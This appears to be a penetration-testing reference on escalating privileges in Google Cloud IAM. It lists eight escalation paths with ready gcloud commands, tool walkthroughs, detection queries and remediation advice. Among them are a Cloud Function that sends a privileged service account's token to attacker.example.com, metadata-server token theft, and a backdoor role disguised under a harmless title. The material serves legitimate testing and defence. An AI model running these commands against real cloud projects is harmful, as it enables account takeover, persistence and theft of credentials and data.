
GCP IAM Privilege Escalation Techniques
GCP IAM privilege escalation paths including service account impersonation, binding escalation, and workload identity abuse.
Introduction
GCP's IAM model uses bindings that associate a principal (user, service account, group) with a role on a resource. Privilege escalation in GCP is almost always IAM-driven: you find a permission that lets you modify bindings, impersonate a service account with higher privileges, or deploy compute resources that inherit elevated identity. Unlike AWS assume-role, GCP service account impersonation via iam.serviceAccountTokenCreator doesn't require the SA to explicitly trust you — the permission binding is sufficient.
Rhino Security Labs documented 39 distinct escalation paths in their 2020 research. The core insight is that certain IAM permissions are themselves privilege escalation primitives: setIamPolicy at any resource level lets you grant yourself anything, serviceAccountTokenCreator hands you short-lived tokens for any SA in scope, and actAs combined with compute/function creation lets you pivot to a SA's identity via workload execution. Many of these paths exist because GCP organizations grant broad permissions at the project level while assuming SA impersonation is a separate concern.
Enumeration is the prerequisite. You need to know what permissions your current principal has, what SAs exist, what roles they carry, and whether any of those roles include escalation primitives. The paths described here assume you have a foothold — either a compromised user credential, a metadata server access from a GCE instance, or a leaked SA key.
Authorization Required
These techniques are destructive and leave audit trails in Cloud Audit Logs. Only execute against GCP projects where you have explicit written authorization. Unauthorized access to cloud resources violates the Computer Fraud and Abuse Act and Google's Acceptable Use Policy regardless of how permissions were acquired.
Impact
- Full project takeover via
resourcemanager.projects.setIamPolicy— one binding grants you Owner - Persistent backdoor SAs that survive incident response if cleanup is incomplete
- Cross-project escalation when SAs have bindings in multiple projects
- Data exfiltration from GCS, BigQuery, Secrets Manager via impersonated high-privilege SAs
- Lateral movement into connected GCP services (GKE, Cloud SQL, Pub/Sub) through SA token reuse
- Workload identity abuse enables external identity providers (GitHub Actions, AWS, Azure AD) to pivot into GCP SAs without a key file
Technical Details
Enumerate Current Permissions
Before attempting any escalation path, determine what permissions the current principal has. The testIamPermissions API tests a list of permissions against a resource and returns only those you hold — no denied error, just a filtered list.
gcloud projects test-iam-permissions PROJECT_ID \
--permissions='iam.serviceAccounts.setIamPolicy,iam.roles.create,iam.roles.update,resourcemanager.projects.setIamPolicy,iam.serviceAccountTokenCreator,iam.serviceAccounts.actAs,cloudfunctions.functions.create,compute.instances.setServiceAccount'enumerate-iam.py by toniblyx brute-forces all ~10,000 GCP permissions using testIamPermissions across multiple resource types. It batches 100 permissions per API call to avoid quota exhaustion.
python3 enumerate-iam.py \
--project PROJECT_ID \
--service-account-email SA@PROJECT_ID.iam.gserviceaccount.com \
--service-account-key key.jsonAlso enumerate SA bindings directly to find which SAs hold what roles:
gcloud projects get-iam-policy PROJECT_ID \
--flatten="bindings[].members" \
--format="table(bindings.role,bindings.members)" \
--filter="bindings.members:serviceAccount"Path 1 — iam.serviceAccounts.setIamPolicy
This permission lets you update the IAM policy on a service account resource (not the project). You add yourself as roles/iam.serviceAccountTokenCreator on a target SA with high privileges, then generate tokens as that SA.
gcloud iam service-accounts add-iam-policy-binding \
TARGET_SA@PROJECT_ID.iam.gserviceaccount.com \
--member="user:attacker@gmail.com" \
--role="roles/iam.serviceAccountTokenCreator"gcloud auth print-access-token \
--impersonate-service-account=TARGET_SA@PROJECT_ID.iam.gserviceaccount.comThe token is valid for 3600 seconds by default. Use it with any GCP API by passing Authorization: Bearer TOKEN or setting CLOUDSDK_AUTH_ACCESS_TOKEN.
Path 2 — iam.serviceAccountTokenCreator (Direct)
If you already hold roles/iam.serviceAccountTokenCreator on a SA, you skip the binding step and go straight to impersonation.
gcloud iam service-accounts generate-access-token \
TARGET_SA@PROJECT_ID.iam.gserviceaccount.com \
--lifetime=3600sTOKEN=$(gcloud auth print-access-token \
--impersonate-service-account=TARGET_SA@PROJECT_ID.iam.gserviceaccount.com)
curl -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:getIamPolicy" \
-X POST -H "Content-Type: application/json" -d '{}'Chaining impersonation is also supported — if SA_A has tokenCreator on SA_B which has tokenCreator on SA_C, you can chain them:
gcloud auth print-access-token \
--impersonate-service-account=SA_A@PROJECT.iam.gserviceaccount.com,SA_B@PROJECT.iam.gserviceaccount.com,SA_C@PROJECT.iam.gserviceaccount.comPath 3 — iam.roles.update (Custom Role Modification)
If you have iam.roles.update on a project, you can modify any custom role's included permissions. Find a custom role you're bound to and add resourcemanager.projects.setIamPolicy or iam.serviceAccountTokenCreator to it.
gcloud iam roles list --project=PROJECT_IDgcloud iam roles update ROLE_ID \
--project=PROJECT_ID \
--add-permissions=resourcemanager.projects.setIamPolicyAfter the update propagates (usually seconds), your existing binding now grants the new permission without any additional IAM changes being logged against your principal.
Path 4 — iam.roles.create (Custom Role Creation)
iam.roles.create lets you define a new custom role with any set of permissions that you yourself hold (iam.roles.create does not allow privilege escalation beyond your current permissions in theory, but in practice it's often granted alongside other permissions that do). The exploitation pattern is to combine this with resourcemanager.projects.setIamPolicy on the same principal.
gcloud iam roles create MALICIOUS_ROLE \
--project=PROJECT_ID \
--permissions=resourcemanager.projects.setIamPolicy,iam.serviceAccountTokenCreator \
--title="Service Account Viewer" \
--description="Monitoring role"gcloud projects add-iam-policy-binding PROJECT_ID \
--member="user:attacker@gmail.com" \
--role="projects/PROJECT_ID/roles/MALICIOUS_ROLE"Path 5 — resourcemanager.projects.setIamPolicy
The nuclear option. Direct project-level policy modification lets you add any binding at the project level — including roles/owner on your principal.
gcloud projects get-iam-policy PROJECT_ID --format=json > policy.json# Edit policy.json to add: {"members":["user:attacker@gmail.com"],"role":"roles/owner"}
gcloud projects set-iam-policy PROJECT_ID policy.jsonThis generates an AuditLog entry of type SetIamPolicy sourced from cloudresourcemanager.googleapis.com. Detection is straightforward if anyone is watching.
Path 6 — Cloud Functions Deployment (actAs + cloudfunctions.functions.create)
iam.serviceAccounts.actAs allows you to deploy workloads that run as a target SA. Combined with cloudfunctions.functions.create, you deploy a function that runs as a privileged SA and exfiltrates its access token to an attacker-controlled endpoint.
cat > /tmp/main.py << 'EOF'
import urllib.request
import google.auth
import google.auth.transport.requests
def exfil(request):
creds, project = google.auth.default()
auth_req = google.auth.transport.requests.Request()
creds.refresh(auth_req)
token = creds.token
# Exfiltrate token
urllib.request.urlopen(f"https://attacker.example.com/?t={token}")
return token
EOF
cat > /tmp/requirements.txt << 'EOF'
google-auth
EOF
gcloud functions deploy exfil-func \
--runtime=python311 \
--trigger-http \
--allow-unauthenticated \
--service-account=HIGH_PRIV_SA@PROJECT_ID.iam.gserviceaccount.com \
--source=/tmp \
--entry-point=exfil \
--region=us-central1curl https://REGION-PROJECT_ID.cloudfunctions.net/exfil-funcThe same pattern applies to Cloud Run, App Engine, and Cloud Build — any service that accepts a --service-account flag and has corresponding actAs permission.
Path 7 — compute.instances.setServiceAccount
If you have write access to GCE and this permission, you can swap the SA attached to an existing VM to a high-privilege one, then access the metadata server from within the VM.
gcloud compute instances set-service-account INSTANCE_NAME \
--zone=ZONE \
--service-account=HIGH_PRIV_SA@PROJECT_ID.iam.gserviceaccount.com \
--scopes=cloud-platformThen from within the VM:
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"If you don't have shell access to the VM, combine with compute.instances.setMetadata to inject a startup script that exfiltrates the token on next reboot.
Path 8 — Workload Identity Pool Abuse
Workload Identity Federation lets external identities (GitHub Actions, AWS IAM roles, Azure AD) authenticate to GCP without a key file. The mapping is controlled by attribute conditions on the pool binding. A misconfigured condition like attribute.repository=="*" instead of a specific repo lets any GitHub Actions workflow impersonate the bound GCP SA.
gcloud iam service-accounts get-iam-policy TARGET_SA@PROJECT_ID.iam.gserviceaccount.comLook for bindings with principalSet://iam.googleapis.com/projects/NUMBER/locations/global/workloadIdentityPools/POOL_ID/attribute.ATTR/VALUE where the value is overly broad.
# In a GitHub Actions workflow file
- id: auth
uses: google-github-actions/auth@v2
with:
workload_identity_provider: 'projects/NUMBER/locations/global/workloadIdentityPools/POOL/providers/PROVIDER'
service_account: 'TARGET_SA@PROJECT_ID.iam.gserviceaccount.com'No key file needed — the OIDC token from the GitHub OIDC provider is exchanged for a GCP access token via the STS endpoint (sts.googleapis.com).
Attack Tools
Toniblyx's enumerate-iam.py tests permissions via testIamPermissions across project, SA, bucket, and other resource types.
git clone https://github.com/toniblyx/gcp-iam-enum
cd gcp-iam-enum
pip3 install -r requirements.txt
# Enumerate with SA key
python3 enumerate-iam.py \
--project PROJECT_ID \
--service-account-key /path/to/key.json
# Enumerate with ADC (Application Default Credentials)
python3 enumerate-iam.py \
--project PROJECT_ID \
--use-adcOutput groups permissions by service (compute., iam., storage.*) and flags escalation-relevant permissions with a warning marker.
GCPwn is a post-exploitation framework for GCP that automates enumeration and exploitation of common escalation paths.
git clone https://github.com/NetSPI/gcpwn
cd gcpwn
pip3 install -r requirements.txt
python3 main.py# Load credentials
> creds load --key-file /path/to/key.json
# Enumerate everything
> enumerate all --project PROJECT_ID
# Check escalation paths automatically
> privesc check
# Execute specific escalation
> privesc run --method setIamPolicy --target user:attacker@gmail.com --role roles/ownerGCPwn tracks discovered assets, credentials, and escalation paths in a SQLite database and can generate a full attack graph.
The gcloud CLI is sufficient for most escalation paths when you want fine-grained control.
gcloud auth activate-service-account \
--key-file=/path/to/key.json
# Or with stolen access token
gcloud config set auth/access_token_file /dev/stdin <<< "TOKEN"gcloud projects get-iam-policy PROJECT_ID \
--flatten="bindings[].members" \
--format="table(bindings.role,bindings.members)" \
--filter="bindings.role:serviceAccountTokenCreator"gcloud iam service-accounts list --project=PROJECT_ID
for SA in $(gcloud iam service-accounts list --format="value(email)" --project=PROJECT_ID); do
echo "=== $SA ==="
gcloud iam service-accounts keys list --iam-account=$SA
donegit clone https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
cd GCP-IAM-Privilege-Escalation
pip3 install -r requirements.txt
# Check for all 39 escalation paths
python3 PrivEscScanner/main.py \
--project-id PROJECT_ID \
--sa-credentials-file key.jsonDetection
GCP Cloud Audit Logs capture all admin and data access activity. The following log entries signal privilege escalation attempts.
Admin Activity logs (always on, cannot be disabled):
| Log Entry | Activity Type | Significance |
|---|---|---|
SetIamPolicy on project | cloudresourcemanager.googleapis.com | Direct binding escalation |
SetIamPolicy on SA | iam.googleapis.com | tokenCreator self-grant |
CreateRole / UpdateRole | iam.googleapis.com | Custom role abuse |
CreateServiceAccount | iam.googleapis.com | Backdoor SA creation |
CreateServiceAccountKey | iam.googleapis.com | Key persistence |
GenerateAccessToken | iamcredentials.googleapis.com | SA impersonation |
instances.setServiceAccount | compute.googleapis.com | VM SA swap |
SIEM detection query (Log Analytics / BigQuery export):
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS actor,
protopayload_auditlog.requestMetadata.callerIp AS source_ip,
protopayload_auditlog.resourceName AS resource,
JSON_EXTRACT_SCALAR(protopayload_auditlog.requestJson, '$.policy') AS new_policy
FROM `PROJECT_ID.DATASET.cloudaudit_googleapis_com_activity`
WHERE
protopayload_auditlog.methodName = 'SetIamPolicy'
AND (
protopayload_auditlog.requestJson LIKE '%roles/owner%'
OR protopayload_auditlog.requestJson LIKE '%roles/editor%'
OR protopayload_auditlog.requestJson LIKE '%serviceAccountTokenCreator%'
)
AND DATE(_PARTITIONTIME) >= DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY)
ORDER BY timestamp DESCCloud Monitoring alert for SA impersonation:
gcloud alpha monitoring policies create \
--notification-channels=CHANNEL_ID \
--display-name="SA Impersonation Detected" \
--condition-filter='resource.type="audited_resource" AND protoPayload.methodName="GenerateAccessToken"' \
--condition-threshold-value=1 \
--condition-threshold-duration=0sWorkload Identity Pool audit — check ExchangeToken calls in sts.googleapis.com data access logs. Volume spikes or unexpected subject claims indicate abuse. Enable Data Access logs for the STS API explicitly; they are off by default.
Remediation
-
Audit
setIamPolicygrants immediately —resourcemanager.projects.setIamPolicy,iam.serviceAccounts.setIamPolicy, andiam.roles.updateare almost never needed by non-admin identities. Enumerate and remove them using Organization Policy constraints. -
Enforce
iam.disableServiceAccountKeyCreationorg policy — prevents SA key creation entirely, forcing workloads to use metadata server tokens or workload identity federation. -
Apply
iam.disableServiceAccountCreationat the folder/project level for non-admin projects — limits the blast radius of compromised principals. -
Constrain workload identity attribute conditions — never use wildcard values. Require exact repository, exact branch, and exact workflow file path in attribute conditions:
Terraform: restricted workload identity binding condition = "attribute.repository == 'myorg/myrepo' && attribute.ref == 'refs/heads/main'" -
Enable VPC Service Controls around IAM-sensitive APIs (
iam.googleapis.com,iamcredentials.googleapis.com) — restricts API calls to authorized networks and prevents exfiltration of tokens to external endpoints. -
Review custom roles quarterly —
iam.roles.listwith--filter="stage=GA"and compare included permissions against a known-good baseline. -
Least-privilege SA design — SAs should have no IAM roles at the project level. Grant roles at the specific resource level (bucket, dataset, topic) using conditions where possible.
-
Rotate and audit SA keys — any SA key older than 90 days should be investigated. Keys should be replaced by workload identity federation for any GCP-to-GCP or CI/CD-to-GCP authentication.
References
MITRE ATT&CK Techniques
- T1078.004 - Valid Accounts: Cloud Accounts
- T1484.001 - Domain Policy Modification: Group Policy Modification
- T1548 - Abuse Elevation Control Mechanism
Tools Documentation
- enumerate-iam.py — toniblyx
- GCPwn — NetSPI
- GCP IAM Privilege Escalation Scripts — Rhino Security Labs
- GCP IAM Permissions Reference
- Workload Identity Federation Documentation
- Cloud Audit Logs Overview
- Rhino Security Labs: GCP Privilege Escalation Research (2020)
Next Steps
Google Cloud Platform (GCP)
GCP security assessment, IAM privilege escalation, and cloud-native attack techniques for Google Cloud environments.
GCP Security Assessment and Enumeration
GCP security assessment methodology covering project enumeration, service account discovery, storage bucket exposure, and metadata API exploitation.